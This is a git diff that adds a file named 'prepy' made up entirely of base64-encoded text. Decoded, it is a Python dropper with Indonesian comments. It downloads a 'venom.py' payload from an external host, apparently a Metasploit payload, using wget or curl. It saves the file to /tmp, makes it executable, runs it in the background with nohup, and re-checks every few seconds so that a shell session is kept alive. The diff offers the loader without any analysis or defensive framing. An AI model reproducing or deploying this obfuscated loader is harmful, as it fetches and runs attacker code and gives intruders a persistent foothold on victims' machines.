diff --git a/raw/python/prepy b/raw/python/prepy new file mode 100644 index 0000000..aebef6f --- /dev/null +++ b/raw/python/prepy @@ -0,0 +1,54 @@ +aW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCB0aW1lCgojIFVSTCB1bnR1ayBtZW5n +dW5kdWggdmVub20ucHkKcGF5bG9hZF91cmwgPSAnaHR0cHM6Ly9naXQud2FyY2V1cHJvamVjdC5v +cmcvc3luL3dTcGxvaXRIdWIvcmF3L2JyYW5jaC9tYWluL3BheWxvYWQvbXNmL3B5dGhvbi92ZW5v +bS5weScKCiMgRGlyZWt0b3JpIHR1anVhbiB1bnR1ayBtZW55aW1wYW4gcGF5bG9hZApwYXlsb2Fk +X3BhdGggPSAnL3RtcC9zeXMnCgojIEZ1bmdzaSB1bnR1ayBtZW5qYWxhbmthbiBwZXJpbnRhaCBk +YW4gbWVtZXJpa3NhIGV4aXQgY29kZQpkZWYgcnVuX2NvbW1hbmQoKToKICAgICMgUGVyaWtzYSBh +cGFrYWggZmlsZSB2ZW5vbS5weSBhZGEgZGkgbG9rYXNpIHR1anVhbgogICAgaWYgbm90IG9zLnBh +dGguZXhpc3RzKHBheWxvYWRfcGF0aCk6CiAgICAgICAgcHJpbnQoIlsqXSBQYXlsb2FkIHRpZGFr +IGRpdGVtdWthbi4gTWVuZ3VuZHVoLi4uIikKICAgICAgICBkb3dubG9hZF9wYXlsb2FkKCkKICAg +ICAgICBvcy5jaG1vZChwYXlsb2FkX3BhdGgsIDBvNzU1KSAgIyBCZXJpIGl6aW4gZWtzZWt1c2kK +CiAgICAjIFBlcmludGFoIHVudHVrIG1lbmphbGFua2FuIHZlbm9tLnB5CiAgICBjb21tYW5kID0g +ZidweXRob24zIHtwYXlsb2FkX3BhdGh9JwogICAgcHJvY2VzcyA9IHN1YnByb2Nlc3MuUG9wZW4o +Y29tbWFuZCwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnBy +b2Nlc3MuUElQRSkKICAgIG91dHB1dCwgc3RkZXJyID0gcHJvY2Vzcy5jb21tdW5pY2F0ZSgpCiAg +ICBleGl0X2NvZGUgPSBwcm9jZXNzLnJldHVybmNvZGUKCiAgICBwcmludChmIkNvbW1hbmQgZXhl +Y3V0ZWQ6IHtjb21tYW5kfSIpCiAgICBwcmludChmIkV4aXQgY29kZToge2V4aXRfY29kZX0iKQoK +ICAgICMgSmlrYSBleGl0IGNvZGUgbm9uLXplcm8sIGNlayBhcGFrYWggc2Vzc2lvbiBha3RpZgog +ICAgaWYgZXhpdF9jb2RlICE9IDA6CiAgICAgICAgcHJpbnQoIlsqXSBFeGl0IGNvZGUgbm9uLXpl +cm8gZGV0ZWN0ZWQuIENoZWNraW5nIGFjdGl2ZSBzZXNzaW9uLi4uIikKICAgICAgICBpc19zaGVs +bF9hY3RpdmUgPSBGYWxzZQogICAgICAgIHRyeToKICAgICAgICAgICAgIyBQZXJpa3NhIGFwYWth +aCB2ZW5vbS5weSBzdWRhaCBiZXJqYWxhbgogICAgICAgICAgICBzaGVsbF9vdXRwdXQgPSBzdWJw +cm9jZXNzLmNoZWNrX291dHB1dCgKICAgICAgICAgICAgICAgIGYicHMgYXV4IHwgZ3JlcCAncHl0 +aG9uMyB7cGF5bG9hZF9wYXRofScgfCBncmVwIC12IGdyZXAiLCBzaGVsbD1UcnVlCiAgICAgICAg +ICAgICkKICAgICAgICAgICAgaWYgc2hlbGxfb3V0cHV0OgogICAgICAgICAgICAgICAgcHJpbnQo +IlsqXSBBY3RpdmUgc2Vzc2lvbiBkZXRlY3RlZC4gU2tpcHBpbmcgcGF5bG9hZCBleGVjdXRpb24u +IikKICAgICAgICAgICAgICAgIGlzX3NoZWxsX2FjdGl2ZSA9IFRydWUKICAgICAgICBleGNlcHQg +c3VicHJvY2Vzcy5DYWxsZWRQcm9jZXNzRXJyb3I6CiAgICAgICAgICAgICMgSmlrYSBwcm9zZXMg +dGlkYWsgZGl0ZW11a2FuCiAgICAgICAgICAgIHBhc3MKCiAgICAgICAgIyBKaWthIHRpZGFrIGFk +YSBzZXNzaW9uIGFrdGlmLCBqYWxhbmthbiBwYXlsb2FkCiAgICAgICAgaWYgbm90IGlzX3NoZWxs +X2FjdGl2ZToKICAgICAgICAgICAgcHJpbnQoIlsqXSBObyBhY3RpdmUgc2Vzc2lvbiBkZXRlY3Rl +ZC4gU3Bhd25pbmcgcGF5bG9hZC4uLiIpCiAgICAgICAgICAgIHN1YnByb2Nlc3MuUG9wZW4oZiJu +b2h1cCBweXRob24zIHtwYXlsb2FkX3BhdGh9ID4gL2Rldi9udWxsIDI+JjEgJiIsIHNoZWxsPVRy +dWUpCiAgICBlbHNlOgogICAgICAgIHByaW50KCJbKl0gRXhpdCBjb2RlIHplcm8uIE5vIHBheWxv +YWQgZXhlY3V0ZWQuIikKCiMgRnVuZ3NpIHVudHVrIG1lbmd1bmR1aCB2ZW5vbS5weSBqaWthIHRp +ZGFrIGRpdGVtdWthbgpkZWYgZG93bmxvYWRfcGF5bG9hZCgpOgogICAgIyBDZWsga2V0ZXJzZWRp +YWFuIHdnZXQKICAgIHdnZXRfYXZhaWxhYmxlID0gc3VicHJvY2Vzcy5ydW4oJ3doaWNoIHdnZXQn +LCBzaGVsbD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5Q +SVBFKQogICAgIyBDZWsga2V0ZXJzZWRpYWFuIGN1cmwKICAgIGN1cmxfYXZhaWxhYmxlID0gc3Vi +cHJvY2Vzcy5ydW4oJ3doaWNoIGN1cmwnLCBzaGVsbD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5Q +SVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFKQoKICAgIGlmIHdnZXRfYXZhaWxhYmxlLnN0ZG91 +dC5zdHJpcCgpOgogICAgICAgIHByaW50KCJbKl0gd2dldCB0ZXJzZWRpYS4gTWVuZ3VuZHVoIHZl +bm9tLnB5Li4uIikKICAgICAgICBvcy5zeXN0ZW0oZiJ3Z2V0IHtwYXlsb2FkX3VybH0gLU8ge3Bh +eWxvYWRfcGF0aH0iKQogICAgZWxpZiBjdXJsX2F2YWlsYWJsZS5zdGRvdXQuc3RyaXAoKToKICAg +ICAgICBwcmludCgiWypdIGN1cmwgdGVyc2VkaWEuIE1lbmd1bmR1aCB2ZW5vbS5weS4uLiIpCiAg +ICAgICAgb3Muc3lzdGVtKGYiY3VybCAtbyB7cGF5bG9hZF9wYXRofSB7cGF5bG9hZF91cmx9IikK +ICAgIGVsc2U6CiAgICAgICAgcHJpbnQoIlshXSBUaWRhayBhZGEgd2dldCBhdGF1IGN1cmwgdGVy +c2VkaWEuIFBhc3Rpa2FuIHNhbGFoIHNhdHUgdGVycGFzYW5nLiIpCgojIEZ1bmdzaSB1bnR1ayBt +ZW1hc3Rpa2FuIHNrcmlwIGJlcmphbGFuIHRlcnVzIG1lbmVydXMKZGVmIHJ1bl9wZXJzaXN0ZW50 +bHkoKToKICAgIHdoaWxlIFRydWU6CiAgICAgICAgcnVuX2NvbW1hbmQoKSAgIyBKYWxhbmthbiBw +ZXJpbnRhaAogICAgICAgIHRpbWUuc2xlZXAoMykgICMgVHVuZ2d1IHNlbGFtYSAzIGRldGlrIHNl +YmVsdW0gbWVuY29iYSBsYWdpCgojIE1lbWJ1YXQgZGlyZWt0b3JpIHR1anVhbiBqaWthIGJlbHVt +IGFkYQppZiBub3Qgb3MucGF0aC5leGlzdHMob3MucGF0aC5kaXJuYW1lKHBheWxvYWRfcGF0aCkp +OgogICAgb3MubWFrZWRpcnMob3MucGF0aC5kaXJuYW1lKHBheWxvYWRfcGF0aCkpCgojIEphbGFu +a2FuIGZ1bmdzaSB1dGFtYQpydW5fcGVyc2lzdGVudGx5KCkK